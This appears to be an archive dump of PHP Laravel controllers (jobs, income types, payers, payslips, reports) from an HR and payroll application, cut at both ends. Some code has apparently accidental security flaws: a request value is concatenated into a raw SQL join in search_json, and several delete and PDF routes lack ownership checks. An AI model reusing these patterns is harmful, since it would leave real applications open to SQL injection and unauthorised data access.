redirect()->route('job.index')->with('error', __('Permission denied.')); } } public function show(Job $job) { $status = Job::$status; $job->applicant = !empty($job->applicant) ? explode(',', $job->applicant) : ''; $job->visibility = !empty($job->visibility) ? explode(',', $job->visibility) : ''; $job->skill = !empty($job->skill) ? explode(',', $job->skill) : ''; return view('job.show', compact('status', 'job')); } public function edit(Job $job) { $categories = JobCategory::where('created_by', \Auth::user()->creatorId())->get()->pluck('title', 'id'); $categories->prepend('--', ''); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches->prepend('All', 0); $status = Job::$status; $job->applicant = explode(',', $job->applicant); $job->visibility = explode(',', $job->visibility); $job->custom_question = explode(',', $job->custom_question); $customQuestion = CustomQuestion::where('created_by', \Auth::user()->creatorId())->get(); return view('job.edit', compact('categories', 'status', 'branches', 'job', 'customQuestion')); } public function update(Request $request, Job $job) { if (\Auth::user()->can('Edit Job')) { $rules = [ 'title' => 'required', 'branch' => 'required', 'category' => 'required', 'skill' => 'required', 'position' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'description' => 'required', 'requirement' => 'required', ]; if (in_array('terms', $request->visibility)) { $rules['terms_and_conditions'] = 'required'; } $validator = \Validator::make( $request->all(), $rules ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $job->title = $request->title; $job->branch = $request->branch; $job->category = $request->category; $job->skill = $request->skill; $job->position = $request->position; $job->status = $request->status; $job->start_date = $request->start_date; $job->end_date = $request->end_date; $job->description = $request->description; $job->requirement = $request->requirement; $job->terms_and_conditions = !empty($request->terms_and_conditions) ? $request->terms_and_conditions : ''; $job->applicant = !empty($request->applicant) ? implode(',', $request->applicant) : ''; $job->visibility = !empty($request->visibility) ? implode(',', $request->visibility) : ''; $job->custom_question = !empty($request->custom_question) ? implode(',', $request->custom_question) : ''; $job->save(); return redirect()->route('job.index')->with('success', __('Job successfully updated.')); } else { return redirect()->route('job.index')->with('error', __('Permission denied.')); } } public function destroy(Job $job) { $application = JobApplication::where('job', $job->id)->get()->pluck('id'); JobApplicationNote::whereIn('application_id', $application)->delete(); JobApplication::where('job', $job->id)->delete(); $job->delete(); return redirect()->route('job.index')->with('success', __('Job successfully deleted.')); } public function career($id, $lang) { $jobs = Job::where('created_by', $id)->with('createdBy')->get(); \Session::put('lang', $lang); \App::setLocale($lang); $companySettings['title_text'] = \DB::table('settings')->where('created_by', $id)->where('name', 'title_text')->first(); $companySettings['footer_text'] = \DB::table('settings')->where('created_by', $id)->where('name', 'footer_text')->first(); $companySettings['company_favicon'] = \DB::table('settings')->where('created_by', $id)->where('name', 'company_favicon')->first(); $companySettings['company_logo'] = \DB::table('settings')->where('created_by', $id)->where('name', 'company_logo')->first(); $companySettings['metakeyword'] = \DB::table('settings')->where('created_by', $id)->where('name', 'metakeyword')->first(); $companySettings['metadesc'] = \DB::table('settings')->where('created_by', $id)->where('name', 'metadesc')->first(); $languages = Utility::languages(); $currantLang = \Session::get('lang'); if (empty($currantLang)) { $user = User::find($id); $currantLang = !empty($user) && !empty($user->lang) ? $user->lang : 'en'; } return view('job.career', compact('companySettings', 'jobs', 'languages', 'currantLang', 'id')); } public function jobRequirement($code, $lang) { try { $job = Job::where('code', $code)->first(); if ($job->status == 'in_active') { return redirect()->back()->with('error', __('Permission Denied.')); } } catch (\Throwable $th) { return redirect()->back()->with('error', __('Page Not Found.')); } \Session::put('lang', $lang); \App::setLocale($lang); $companySettings['title_text'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'title_text')->first(); $companySettings['footer_text'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'footer_text')->first(); $companySettings['company_favicon'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'company_favicon')->first(); $companySettings['company_logo'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'company_logo')->first(); $companySettings['metakeyword'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'metakeyword')->first(); $companySettings['metadesc'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'metadesc')->first(); $languages = \Utility::languages(); $currantLang = \Session::get('lang'); if (empty($currantLang)) { $currantLang = !empty($job->createdBy) ? $job->createdBy->lang : 'en'; } return view('job.requirement', compact('companySettings', 'job', 'languages', 'currantLang')); } public function jobApply($code, $lang) { \Session::put('lang', $lang); \App::setLocale($lang); try { $job = Job::where('code', $code)->first(); $companySettings['title_text'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'title_text')->first(); $companySettings['footer_text'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'footer_text')->first(); $companySettings['company_favicon'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'company_favicon')->first(); $companySettings['company_logo'] = \DB::table('settings')->where('created_by', $job->created_by)->where('name', 'company_logo')->first(); } catch (\Throwable $th) { return redirect()->back()->with('error', 'Page not Found'); } $que = !empty($job->custom_question) ? explode(",", $job->custom_question) : []; $questions = CustomQuestion::wherein('id', $que)->get(); $languages = \Utility::languages(); $currantLang = \Session::get('lang'); if (empty($currantLang)) { $currantLang = !empty($job->createdBy) ? $job->createdBy->lang : 'en'; } return view('job.apply', compact('companySettings', 'job', 'questions', 'languages', 'currantLang')); } public function TermsAndCondition($id) { try { $job = Job::where('id', $id)->first(); } catch (\Throwable $th) { return redirect()->back()->with('error', 'Page not Found'); } return view('job.terms', compact('job')); } public function jobApplyData(Request $request, $code) { $rules = [ 'name' => 'required', 'email' => 'required', 'phone' => 'required', ]; if (isset($request->terms_condition_check) && empty($request->terms_condition_check)) { $rules['terms_condition_check'] = [ 'required', ]; } $validator = \Validator::make( $request->all(), $rules ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $job = Job::where('code', $code)->first(); // $stage = JobStage::where('created_by',\Auth::user()->creatorId())->first(); $stage = JobStage::where('created_by', $job->created_by)->first(); $jobApplication = new JobApplication(); $jobApplication->job = $job->id; $jobApplication->name = $request->name; $jobApplication->email = $request->email; $jobApplication->phone = $request->phone; $jobApplication->cover_letter = $request->cover_letter; $jobApplication->dob = $request->dob; $jobApplication->gender = $request->gender; $jobApplication->address = $request->address; $jobApplication->country = $request->country; $jobApplication->state = $request->state; $jobApplication->stage = $stage->id; $jobApplication->city = $request->city; $jobApplication->zip_code = $request->zip_code; $jobApplication->custom_question = json_encode($request->question); $jobApplication->terms_condition_check = !empty($request->terms_condition_check) ? $request->terms_condition_check : ''; $jobApplication->created_by = $job->created_by; if (!empty($request->profile)) { $image_size = $request->file('profile')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('profile')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('profile')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/job/profile'; $image_path = $dir . $filenameWithExt; $url = ''; $path = \Utility::upload_file($request, 'profile', $fileNameToStore, $dir, []); $jobApplication->profile = !empty($request->profile) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } if (!empty($request->resume)) { $image_size = $request->file('resume')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt1 = $request->file('resume')->getClientOriginalName(); $filename1 = pathinfo($filenameWithExt1, PATHINFO_FILENAME); $extension1 = $request->file('resume')->getClientOriginalExtension(); $fileNameToStore1 = $filename1 . '_' . time() . '.' . $extension1; $dir = 'uploads/job/resume'; $image_path = $dir . $filenameWithExt1; $url = ''; $path = \Utility::upload_file($request, 'resume', $fileNameToStore1, $dir, []); $jobApplication->resume = !empty($request->resume) ? $fileNameToStore1 : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $jobApplication->save(); // return redirect()->back()->with('success', __('Job application successfully send.')); return redirect()->back()->with('success', __('Job application successfully send.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); // return redirect()->route('job-application.index')->with('success', __('Job application successfully send.')); } } Http/Controllers/IncomeTypeController.php000064400000010145150364306410014625 0ustar00can('Manage Income Type')) { $incometypes = IncomeType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('incometype.index', compact('incometypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Income Type')) { return view('incometype.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Income Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $incometype = new IncomeType(); $incometype->name = $request->name; $incometype->created_by = \Auth::user()->creatorId(); $incometype->save(); return redirect()->route('incometype.index')->with('success', __('IncomeType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(IncomeType $incometype) { return redirect()->route('incometype.index'); } public function edit(IncomeType $incometype) { if(\Auth::user()->can('Edit Income Type')) { if($incometype->created_by == \Auth::user()->creatorId()) { return view('incometype.edit', compact('incometype')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, IncomeType $incometype) { if(\Auth::user()->can('Edit Income Type')) { if($incometype->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $incometype->name = $request->name; $incometype->save(); return redirect()->route('incometype.index')->with('success', __('IncomeType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(IncomeType $incometype) { if(\Auth::user()->can('Delete Income Type')) { if($incometype->created_by == \Auth::user()->creatorId()) { $incometype->delete(); return redirect()->route('incometype.index')->with('success', __('IncomeType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PayerController.php000064400000010353150364306410013632 0ustar00can('Manage Payer')) { $payers = Payer::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('payer.index', compact('payers')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Payer')) { return view('payer.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Payer')) { $validator = \Validator::make( $request->all(), [ 'payer_name' => 'required', 'contact_number' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $payer = new Payer(); $payer->payer_name = $request->payer_name; $payer->contact_number = $request->contact_number; $payer->created_by = \Auth::user()->creatorId(); $payer->save(); return redirect()->route('payer.index')->with('success', __('Payer successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Payer $payer) { return redirect()->route('payer.index'); } public function edit(Payer $payer) { if(\Auth::user()->can('Edit Payer')) { if($payer->created_by == \Auth::user()->creatorId()) { return view('payer.edit', compact('payer')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, $payer) { $payer = Payer::find($payer); if(\Auth::user()->can('Edit Payer')) { if($payer->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'payer_name' => 'required', 'contact_number' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $payer->payer_name = $request->payer_name; $payer->contact_number = $request->contact_number; $payer->save(); return redirect()->route('payer.index')->with('success', __('Payer successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Payer $payer) { if(\Auth::user()->can('Delete Payer')) { if($payer->created_by == \Auth::user()->creatorId()) { $payer->delete(); return redirect()->route('payer.index')->with('success', __('Payer successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PaySlipController.php000064400000052454150364306410014143 0ustar00can('Manage Pay Slip') || \Auth::user()->type == 'employee') { $employees = Employee::where( [ 'created_by' => \Auth::user()->creatorId(), ] )->first(); $month = [ '01' => 'JAN', '02' => 'FEB', '03' => 'MAR', '04' => 'APR', '05' => 'MAY', '06' => 'JUN', '07' => 'JUL', '08' => 'AUG', '09' => 'SEP', '10' => 'OCT', '11' => 'NOV', '12' => 'DEC', ]; $currentyear = date("Y"); $tempyear = intval($currentyear) - 2; $year = []; for ($i = 0; $i < 10; $i++) { $year[$tempyear + $i] = $tempyear + $i; } // $year = [ // '2021' => '2021', // '2022' => '2022', // '2023' => '2023', // '2024' => '2024', // '2025' => '2025', // '2026' => '2026', // '2027' => '2027', // '2028' => '2028', // '2029' => '2029', // '2030' => '2030', // '2031' => '2031', // '2032' => '2032', // ]; return view('payslip.index', compact('employees', 'month', 'year')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { // } public function store(Request $request) { $validator = \Validator::make( $request->all(), [ 'month' => 'required', 'year' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $month = $request->month; $year = $request->year; $formate_month_year = $year . '-' . $month; $validatePaysilp = PaySlip::where('salary_month', '=', $formate_month_year)->where('created_by', \Auth::user()->creatorId())->pluck('employee_id'); $payslip_employee = Employee::where('created_by', \Auth::user()->creatorId())->where('company_doj', '<=', date($year . '-' . $month . '-t'))->count(); if ($payslip_employee > count($validatePaysilp)) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->where('company_doj', '<=', date($year . '-' . $month . '-t'))->whereNotIn('employee_id', $validatePaysilp)->get(); $employeesSalary = Employee::where('created_by', \Auth::user()->creatorId())->where('salary', '<=', 0)->first(); if (!empty($employeesSalary)) { return redirect()->route('payslip.index')->with('error', __('Please set employee salary.')); } foreach ($employees as $employee) { $chek = PaySlip::where(['employee_id' => $employee->id, 'salary_month' => $formate_month_year])->first(); $terminationDate = Termination::where('employee_id', $employee->id) ->whereDate('termination_date', '<=', Carbon::create($year, $month)->endOfMonth()) ->exists(); $resignationDate = Resignation::where('employee_id', $employee->id) ->whereDate('resignation_date', '<=', Carbon::create($year, $month)->endOfMonth()) ->exists(); if ($terminationDate || $resignationDate) { continue; } if (!$chek && $chek == null) { $payslipEmployee = new PaySlip(); $payslipEmployee->employee_id = $employee->id; $payslipEmployee->net_payble = $employee->get_net_salary(); $payslipEmployee->salary_month = $formate_month_year; $payslipEmployee->status = 0; $payslipEmployee->basic_salary = !empty($employee->salary) ? $employee->salary : 0; $payslipEmployee->allowance = Employee::allowance($employee->id); $payslipEmployee->commission = Employee::commission($employee->id); $payslipEmployee->loan = Employee::loan($employee->id); $payslipEmployee->saturation_deduction = Employee::saturation_deduction($employee->id); $payslipEmployee->other_payment = Employee::other_payment($employee->id); $payslipEmployee->overtime = Employee::overtime($employee->id); $payslipEmployee->created_by = \Auth::user()->creatorId(); $payslipEmployee->save(); //Slack Notification $setting = Utility::settings(\Auth::user()->creatorId()); if (isset($setting['monthly_payslip_notification']) && $setting['monthly_payslip_notification'] == 1) { // $msg = __("Payslip generated of") . ' ' . $formate_month_year . '.'; $uArr = [ 'year' => $formate_month_year, ]; Utility::send_slack_msg('new_monthly_payslip', $uArr); } //Telegram Notification $setting = Utility::settings(\Auth::user()->creatorId()); if (isset($setting['telegram_monthly_payslip_notification']) && $setting['telegram_monthly_payslip_notification'] == 1) { // $msg = __("Payslip generated of") . ' ' . $formate_month_year . '.'; $uArr = [ 'year' => $formate_month_year, ]; Utility::send_telegram_msg('new_monthly_payslip', $uArr); } //twilio $setting = Utility::settings(\Auth::user()->creatorId()); $emp = Employee::where('id', $payslipEmployee->employee_id)->first(); if (isset($setting['twilio_monthly_payslip_notification']) && $setting['twilio_monthly_payslip_notification'] == 1) { // $msg = __("Payslip generated of") . ' ' . $formate_month_year . '.'; $uArr = [ 'year' => $formate_month_year, ]; Utility::send_twilio_msg($emp->phone, 'new_monthly_payslip', $uArr); } //webhook $module = 'New Monthly Payslip'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($payslipEmployee); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->back()->with('success', __('Payslip successfully created.')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } } } return redirect()->route('payslip.index')->with('success', __('Payslip successfully created.')); } else { return redirect()->route('payslip.index')->with('error', __('Payslip Already created.')); } } public function destroy($id) { $payslip = PaySlip::find($id); $payslip->delete(); return true; } public function showemployee($paySlip) { $payslip = PaySlip::find($paySlip); return view('payslip.show', compact('payslip')); } public function search_json(Request $request) { $formate_month_year = $request->datePicker; $validatePaysilp = PaySlip::where('salary_month', '=', $formate_month_year)->where('created_by', \Auth::user()->creatorId())->get()->toarray(); $data = []; if (empty($validatePaysilp)) { $data = []; return; } else { $paylip_employee = PaySlip::select( [ 'employees.id', 'employees.employee_id', 'employees.name', 'employees.salary', 'payslip_types.name as payroll_type', 'pay_slips.basic_salary', 'pay_slips.net_payble', 'pay_slips.id as pay_slip_id', 'pay_slips.status', 'employees.user_id', ] )->leftjoin( 'employees', function ($join) use ($formate_month_year) { $join->on('employees.id', '=', 'pay_slips.employee_id'); $join->on('pay_slips.salary_month', '=', \DB::raw("'" . $formate_month_year . "'")); $join->leftjoin('payslip_types', 'payslip_types.id', '=', 'employees.salary_type'); } )->where('employees.created_by', \Auth::user()->creatorId())->get(); foreach ($paylip_employee as $employee) { if (Auth::user()->type == 'employee') { if (Auth::user()->id == $employee->user_id) { $tmp = []; $tmp[] = $employee->id; $tmp[] = $employee->name; $tmp[] = $employee->payroll_type; $tmp[] = $employee->pay_slip_id; $tmp[] = !empty($employee->basic_salary) ? \Auth::user()->priceFormat($employee->salary) : '-'; $tmp[] = !empty($employee->net_payble) ? \Auth::user()->priceFormat($employee->net_payble) : '-'; if ($employee->status == 1) { $tmp[] = 'paid'; } else { $tmp[] = 'unpaid'; } $tmp[] = !empty($employee->pay_slip_id) ? $employee->pay_slip_id : 0; $tmp['url'] = route('employee.show', Crypt::encrypt($employee->id)); $data[] = $tmp; } } else { $tmp = []; $tmp[] = $employee->id; $tmp[] = \Auth::user()->employeeIdFormat($employee->employee_id); $tmp[] = $employee->name; $tmp[] = $employee->payroll_type; $tmp[] = !empty($employee->basic_salary) ? \Auth::user()->priceFormat($employee->basic_salary) : '-'; $tmp[] = !empty($employee->net_payble) ? \Auth::user()->priceFormat($employee->net_payble) : '-'; if ($employee->status == 1) { $tmp[] = 'Paid'; } else { $tmp[] = 'UnPaid'; } $tmp[] = !empty($employee->pay_slip_id) ? $employee->pay_slip_id : 0; $tmp['url'] = route('employee.show', Crypt::encrypt($employee->id)); $data[] = $tmp; } } return $data; } } public function paysalary($id, $date) { $employeePayslip = PaySlip::where('employee_id', '=', $id)->where('created_by', \Auth::user()->creatorId())->where('salary_month', '=', $date)->first(); $get_employee = Employee::where('id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $get_account = AccountList::where('id', $get_employee->account_type)->where('created_by', \Auth::user()->creatorId())->first(); $initial_balance = !empty($get_account->initial_balance) ? $get_account->initial_balance : 0; $net_salary = !empty($employeePayslip->net_payble) ? $employeePayslip->net_payble : 0; if (!empty($employeePayslip)) { $employeePayslip->status = 1; $employeePayslip->save(); $total_balance = $initial_balance - $net_salary; $get_account->initial_balance = $total_balance; $get_account->save(); $set_expense = new Expense(); $set_expense->account_id = $get_account->id; $set_expense->amount = $employeePayslip->net_payble; $set_expense->date = date('Y-m-d'); $set_expense->expense_category_id = ''; $set_expense->payee_id = $get_employee->id; $set_expense->payment_type_id = ''; $set_expense->referal_id = ''; $set_expense->description = ''; $set_expense->created_by = $get_employee->created_by; $set_expense->save(); return redirect()->route('payslip.index')->with('success', __('Payslip Payment successfully.')); } else { return redirect()->route('payslip.index')->with('error', __('Payslip Payment failed.')); } } public function bulk_pay_create($date) { $Employees = PaySlip::where('salary_month', $date)->where('created_by', \Auth::user()->creatorId())->get(); $unpaidEmployees = PaySlip::where('salary_month', $date)->where('created_by', \Auth::user()->creatorId())->where('status', '=', 0)->get(); return view('payslip.bulkcreate', compact('Employees', 'unpaidEmployees', 'date')); } public function bulkpayment(Request $request, $date) { $unpaidEmployees = PaySlip::where('salary_month', $date)->where('created_by', \Auth::user()->creatorId())->where('status', '=', 0)->get(); foreach ($unpaidEmployees as $employee) { $employee->status = 1; $employee->save(); } return redirect()->route('payslip.index')->with('success', __('Payslip Bulk Payment successfully.')); } public function employeepayslip() { $employees = Employee::where( [ 'user_id' => \Auth::user()->id, ] )->first(); $payslip = PaySlip::where('employee_id', '=', $employees->id)->get(); return view('payslip.employeepayslip', compact('payslip')); } public function pdf($id, $month) { $payslip = PaySlip::where('employee_id', $id)->where('salary_month', $month)->where('created_by', \Auth::user()->creatorId())->first(); $employee = Employee::find($payslip->employee_id); $payslipDetail = Utility::employeePayslipDetail($id, $month); return view('payslip.pdf', compact('payslip', 'employee', 'payslipDetail')); } public function send($id, $month) { $payslip = PaySlip::where('employee_id', $id)->where('salary_month', $month)->where('created_by', \Auth::user()->creatorId())->first(); $employee = Employee::find($payslip->employee_id); $payslip->name = $employee->name; $payslip->email = $employee->email; $payslipId = Crypt::encrypt($payslip->id); $payslip->url = route('payslip.payslipPdf', $payslipId); $setings = Utility::settings(); if ($setings['new_payroll'] == 1) { $uArr = [ 'payslip_email' => $payslip->email, 'name' => $payslip->name, 'url' => $payslip->url, 'salary_month' => $payslip->salary_month, ]; $resp = Utility::sendEmailTemplate('new_payroll', [$payslip->email], $uArr); return redirect()->back()->with('success', __('Payslip successfully sent.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->back()->with('success', __('Payslip successfully sent.')); } public function payslipPdf($id) { $payslipId = Crypt::decrypt($id); // $payslip = PaySlip::where('id', $payslipId)->where('created_by', \Auth::user()->creatorId())->first(); $payslip = PaySlip::where('id', $payslipId)->where('employee_id', $payslipId)->first(); $month = $payslip->salary_month; $employee = Employee::find($payslip->employee_id); $payslipDetail = Utility::employeePayslipDetail($payslip->employee_id, $month); return view('payslip.payslipPdf', compact('payslip', 'employee', 'payslipDetail')); } public function editEmployee($paySlip) { $payslip = PaySlip::find($paySlip); return view('payslip.salaryEdit', compact('payslip')); } public function updateEmployee(Request $request, $id) { if (isset($request->allowance) && !empty($request->allowance)) { $allowances = $request->allowance; $allowanceIds = $request->allowance_id; foreach ($allowances as $k => $allownace) { $allowanceData = Allowance::find($allowanceIds[$k]); $allowanceData->amount = $allownace; $allowanceData->save(); } } if (isset($request->commission) && !empty($request->commission)) { $commissions = $request->commission; $commissionIds = $request->commission_id; foreach ($commissions as $k => $commission) { $commissionData = Commission::find($commissionIds[$k]); $commissionData->amount = $commission; $commissionData->save(); } } if (isset($request->loan) && !empty($request->loan)) { $loans = $request->loan; $loanIds = $request->loan_id; foreach ($loans as $k => $loan) { $loanData = Loan::find($loanIds[$k]); $loanData->amount = $loan; $loanData->save(); } } if (isset($request->saturation_deductions) && !empty($request->saturation_deductions)) { $saturation_deductionss = $request->saturation_deductions; $saturation_deductionsIds = $request->saturation_deductions_id; foreach ($saturation_deductionss as $k => $saturation_deductions) { $saturation_deductionsData = SaturationDeduction::find($saturation_deductionsIds[$k]); $saturation_deductionsData->amount = $saturation_deductions; $saturation_deductionsData->save(); } } if (isset($request->other_payment) && !empty($request->other_payment)) { $other_payments = $request->other_payment; $other_paymentIds = $request->other_payment_id; foreach ($other_payments as $k => $other_payment) { $other_paymentData = OtherPayment::find($other_paymentIds[$k]); $other_paymentData->amount = $other_payment; $other_paymentData->save(); } } if (isset($request->rate) && !empty($request->rate)) { $rates = $request->rate; $rateIds = $request->rate_id; $hourses = $request->hours; foreach ($rates as $k => $rate) { $overtime = Overtime::find($rateIds[$k]); $overtime->rate = $rate; $overtime->hours = $hourses[$k]; $overtime->save(); } } $payslipEmployee = PaySlip::find($request->payslip_id); $payslipEmployee->allowance = Employee::allowance($payslipEmployee->employee_id); $payslipEmployee->commission = Employee::commission($payslipEmployee->employee_id); $payslipEmployee->loan = Employee::loan($payslipEmployee->employee_id); $payslipEmployee->saturation_deduction = Employee::saturation_deduction($payslipEmployee->employee_id); $payslipEmployee->other_payment = Employee::other_payment($payslipEmployee->employee_id); $payslipEmployee->overtime = Employee::overtime($payslipEmployee->employee_id); $payslipEmployee->net_payble = Employee::find($payslipEmployee->employee_id)->get_net_salary(); $payslipEmployee->save(); return redirect()->route('payslip.index')->with('success', __('Employee payroll successfully updated.')); } public function PayslipExport(Request $request) { $name = 'payslip_' . date('Y-m-d i:h:s'); $data = \Excel::download(new PayslipExport($request), $name . '.xlsx'); ob_end_clean(); return $data; } } Http/Controllers/ReportController.php000064400000106131150364306410014025 0ustar00can('Manage Report')) { $deposit = Deposit::where('created_by', \Auth::user()->creatorId()); $labels = $data = []; $expenseCount = $incomeCount = 0; $incomeData = []; $expenseData = []; if (!empty($request->start_month) && !empty($request->end_month)) { $start = strtotime($request->start_month); $end = strtotime($request->end_month); $currentdate = $start; $month = []; while ($currentdate <= $end) { $month = date('m', $currentdate); $year = date('Y', $currentdate); $depositFilter = Deposit::where('created_by', \Auth::user()->creatorId())->whereMonth('date', $month)->whereYear('date', $year)->get(); $depositsTotal = 0; foreach ($depositFilter as $deposit) { $depositsTotal += $deposit->amount; } $incomeData[] = $depositsTotal; $incomeCount += $depositsTotal; $expenseFilter = Expense::where('created_by', \Auth::user()->creatorId())->whereMonth('date', $month)->whereYear('date', $year)->get(); $expenseTotal = 0; foreach ($expenseFilter as $expense) { $expenseTotal += $expense->amount; } $expenseData[] = $expenseTotal; $expenseCount += $expenseTotal; $labels[] = date('M Y', $currentdate); $currentdate = strtotime('+1 month', $currentdate); } $filter['startDateRange'] = date('M-Y', strtotime($request->start_month)); $filter['endDateRange'] = date('M-Y', strtotime($request->end_month)); } else { for ($i = 0; $i < 6; $i++) { $month = date('m', strtotime("-$i month")); $year = date('Y', strtotime("-$i month")); $depositFilter = Deposit::where('created_by', \Auth::user()->creatorId())->whereMonth('date', $month)->whereYear('date', $year)->get(); $depositTotal = 0; foreach ($depositFilter as $deposit) { $depositTotal += $deposit->amount; } $incomeData[] = $depositTotal; $incomeCount += $depositTotal; $expenseFilter = Expense::where('created_by', \Auth::user()->creatorId())->whereMonth('date', $month)->whereYear('date', $year)->get(); $expenseTotal = 0; foreach ($expenseFilter as $expense) { $expenseTotal += $expense->amount; } $expenseData[] = $expenseTotal; $expenseCount += $expenseTotal; $labels[] = date('M Y', strtotime("-$i month")); } $filter['startDateRange'] = date('M-Y'); $filter['endDateRange'] = date('M-Y', strtotime("-5 month")); } $incomeArr['name'] = __('Income'); $incomeArr['data'] = $incomeData; $expenseArr['name'] = __('Expense'); $expenseArr['data'] = $expenseData; $data[] = $incomeArr; $data[] = $expenseArr; return view('report.income_expense', compact('labels', 'data', 'incomeCount', 'expenseCount', 'filter')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function leave(Request $request) { if (\Auth::user()->can('Manage Report')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('All', ''); $department = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $department->prepend('All', ''); $filterYear['branch'] = __('All'); $filterYear['department'] = __('All'); $filterYear['type'] = __('Monthly'); $filterYear['dateYearRange'] = date('M-Y'); $employees = Employee::where('created_by', \Auth::user()->creatorId()); if (!empty($request->branch)) { $employees->where('branch_id', $request->branch); $filterYear['branch'] = !empty(Branch::find($request->branch)) ? Branch::find($request->branch)->name : ''; } if (!empty($request->department)) { $employees->where('department_id', $request->department); $filterYear['department'] = !empty(Department::find($request->department)) ? Department::find($request->department)->name : ''; } $employees = $employees->get(); $leaves = []; $totalApproved = $totalReject = $totalPending = 0; foreach ($employees as $employee) { $employeeLeave['id'] = $employee->id; $employeeLeave['employee_id'] = $employee->employee_id; $employeeLeave['employee'] = $employee->name; $approved = Leave::where('employee_id', $employee->id)->where('status', 'Approved'); $reject = Leave::where('employee_id', $employee->id)->where('status', 'Reject'); $pending = Leave::where('employee_id', $employee->id)->where('status', 'Pending'); if ($request->type == 'monthly' && !empty($request->month)) { $month = date('m', strtotime($request->month)); $year = date('Y', strtotime($request->month)); $approved->whereMonth('applied_on', $month)->whereYear('applied_on', $year); $reject->whereMonth('applied_on', $month)->whereYear('applied_on', $year); $pending->whereMonth('applied_on', $month)->whereYear('applied_on', $year); $filterYear['dateYearRange'] = date('M-Y', strtotime($request->month)); $filterYear['type'] = __('Monthly'); } elseif (!isset($request->type)) { $month = date('m'); $year = date('Y'); $monthYear = date('Y-m'); $approved->whereMonth('applied_on', $month)->whereYear('applied_on', $year); $reject->whereMonth('applied_on', $month)->whereYear('applied_on', $year); $pending->whereMonth('applied_on', $month)->whereYear('applied_on', $year); $filterYear['dateYearRange'] = date('M-Y', strtotime($monthYear)); $filterYear['type'] = __('Monthly'); } if ($request->type == 'yearly' && !empty($request->year)) { $approved->whereYear('applied_on', $request->year); $reject->whereYear('applied_on', $request->year); $pending->whereYear('applied_on', $request->year); $filterYear['dateYearRange'] = $request->year; $filterYear['type'] = __('Yearly'); } $approved = $approved->count(); $reject = $reject->count(); $pending = $pending->count(); $totalApproved += $approved; $totalReject += $reject; 